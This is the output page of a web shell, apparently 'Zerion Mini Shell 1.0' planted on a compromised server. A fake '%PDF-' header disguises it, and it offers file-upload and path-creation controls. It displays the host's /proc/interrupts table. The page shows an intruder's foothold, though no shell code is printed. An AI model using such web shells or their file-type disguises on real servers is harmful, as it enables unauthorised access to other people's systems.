%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /proc/thread-self/root/proc/
Upload File :
Create Path :
Current File : //proc/thread-self/root/proc/interrupts

           CPU0       CPU1       CPU2       
  1:          9          0          0   IO-APIC   1-edge      i8042
  4:         35         36          0   IO-APIC   4-edge      ttyS0
  8:          0          0          0   IO-APIC   8-edge      rtc0
  9:          0          0          0   IO-APIC   9-fasteoi   acpi
 11:          0     340110          0   IO-APIC  11-fasteoi   uhci_hcd:usb1, virtio3
 12:          0          0         15   IO-APIC  12-edge      i8042
 14:          0          0          0   IO-APIC  14-edge      ata_piix
 15:          0          0          0   IO-APIC  15-edge      ata_piix
 24:          0          0          0  PCI-MSIX-0000:00:05.0   0-edge      virtio2-config
 25:        278         10         86  PCI-MSIX-0000:00:05.0   1-edge      virtio2-virtqueues
 26:          0          0          0  PCI-MSIX-0000:00:04.0   0-edge      virtio1-config
 27:          0          0          0  PCI-MSIX-0000:00:03.0   0-edge      virtio0-config
 28:          0          0          0  PCI-MSIX-0000:00:04.0   1-edge      virtio1-control
 29:   11777110    1476458   16458121  PCI-MSIX-0000:00:03.0   1-edge      virtio0-input.0
 30:          0          0          0  PCI-MSIX-0000:00:04.0   2-edge      virtio1-event
 31:    9989902      20569    8070206  PCI-MSIX-0000:00:03.0   2-edge      virtio0-output.0
 32:          0          0   23376436  PCI-MSIX-0000:00:04.0   3-edge      virtio1-request
 33:  107511569 3640893147          0  PCI-MSIX-0000:00:03.0   3-edge      virtio0-input.1
 34:    4478662      50378    7016575  PCI-MSIX-0000:00:03.0   4-edge      virtio0-output.1
 35:    7465486    1307966   17691589  PCI-MSIX-0000:00:03.0   5-edge      virtio0-input.2
 36:    6311384      49760   17180873  PCI-MSIX-0000:00:03.0   6-edge      virtio0-output.2
NMI:          0          0          0   Non-maskable interrupts
LOC: 1072925934 3551828285  866532044   Local timer interrupts
SPU:          0          0          0   Spurious interrupts
PMI:          0          0          0   Performance monitoring interrupts
IWI:          8         27         20   IRQ work interrupts
RTR:          0          0          0   APIC ICR read retries
RES:    2797887    2903364    3951021   Rescheduling interrupts
CAL: 1326938957  180464334 1429274029   Function call interrupts
TLB:    3262300    3351872    2876851   TLB shootdowns
TRM:          0          0          0   Thermal event interrupts
THR:          0          0          0   Threshold APIC interrupts
DFR:          0          0          0   Deferred Error APIC interrupts
MCE:          0          0          0   Machine check exceptions
MCP:      10384      10384      10384   Machine check polls
ERR:          0
MIS:          0
PIN:          0          0          0   Posted-interrupt notification event
NPI:          0          0          0   Nested posted-interrupt event
PIW:          0          0          0   Posted-interrupt wakeup event

Zerion Mini Shell 1.0